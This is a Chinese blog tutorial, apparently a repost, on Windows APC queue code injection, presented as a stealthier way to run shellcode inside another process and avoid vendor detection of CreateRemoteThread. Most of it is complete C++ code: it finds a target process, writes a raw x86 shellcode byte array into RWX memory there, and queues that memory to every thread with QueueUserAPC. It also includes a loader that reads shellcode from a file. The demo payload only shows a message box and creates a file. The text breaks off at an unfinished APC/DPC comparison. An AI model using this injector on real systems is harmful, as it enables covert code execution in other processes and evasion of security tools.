http://www.javashuo.com/article/p-yjjepvgj-ne.html 上一章介紹了通用的shellcode加載器,這個加載器本身調用virtualAlloc分配空間、複製shellcode、執行shellcode,全部操做都在加載器的空間,隱蔽性不強,容易被發現。若是能在其餘進程空間把shellcode注入,而後執行了? 能夠達到金蟬脫殼的目的;那麼該怎麼作了?html
熟悉win32編程的同窗第一時間可能就想到了createRemoteThread+virtualAllocEx:在目標進程建立一個線程,把shellcode複製到目標進程後執行。這麼作技術上可行,但這兩個API實在是太出名了(createRemoteThread號稱是windows的萬惡之源,早期不少病毒、木馬都利用了這個API),早就被各大廠商盯死,可能達不到預期;今天介紹另外一種遠程代碼注入的方式:APC注入ios
一、先簡單介紹一下APCshell
二、 APC代碼注入核心步驟介紹編程
(1)APC和線程相關的,既然注入APC,勢必要找到目標線程。線程又屬於進程,那麼就要先遍歷進程,核心代碼以下:先遍歷進程,根據進程名(這裏我本身單獨寫了一個簡單的程序,沒用explorer來測試,緣由後面再解釋)找到目標進程,而後打開進程、分配空間、寫入shellcode;windows
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); printf("shellAddress is: %p\n", shellAddress);
(2)接着遍歷進程的線程,調用最核心的QueueUserAPC函數,將shellcode注入目標線程函數
if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId); Sleep(1000 * 2); }
(3)注入完成後就等待shellcode被調用了。這段代碼是借(chao)鑑(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 這裏的,原做者剛開始用的explorer.exe,我也是這麼作的,代碼運行後,遲遲不見效果,於時打開process hacker,發現shellcode已經注入目標進程空間,以下:測試
而且地址的屬性是RWX,這裏沒任何問題,shellcode遲遲未被執行的緣由只能是線程狀態不是alterable了,這裏沒辦法,只能繼續等;process hacker提供了查看線程狀態的功能,等了許久仍是未等到有線程的狀態變爲alertable,一直看不到效果,無奈只能放棄這種方式;spa
(4)既然等不到,就本身構造,很簡單,以下:核心是調用sleepEX函數,讓其休眠10分鐘,第二個參數是TRUE,代表是alertable 的,這樣一來只要APC隊列有代碼,main函數就會執行;線程
#include <windows.h> #include <stdio.h> int main() { printf("enter alertable statues..............."); SleepEx(1000*600,TRUE); }
執行後查看發現只有這一個線程的,應該是main:3d
此次終於成功執行了本身的shellcode:能看到messagebox的彈窗:
目標程序所在的目錄下也生成了1.txt文本;
三、實驗總結:
(1)上面shellcode都是手動複製到代碼內,寫死了不說,每次複製shellcode還比較麻煩,當時我想着寫代碼直接從磁盤讀(最初的加載器不就是這麼幹的麼?),以下:
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buf == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, buf, dwSize, &dwRead, 0); printf("\n%s File read length:%d \n", argv[1], dwRead); printf("buf length=%d \n", sizeof(buf));//shellcode裏面有00,致使buf被階段,長度只有4;
查看目標進程內存時發現並未複製徹底,罪魁禍首是中間遇到00,被截斷,buf讀取的長度只有4;
各位讀者有更好的解決辦法還請不吝賜教。
(2)完整的代碼:
#include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <vector> int main() { unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); printf("shellAddress is: %p\n", shellAddress); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId); Sleep(1000 * 2); } return 0; }
(3)和APC對應另外一個重要的概念是DPC,這裏簡單作個總結對比:
APC執行過程: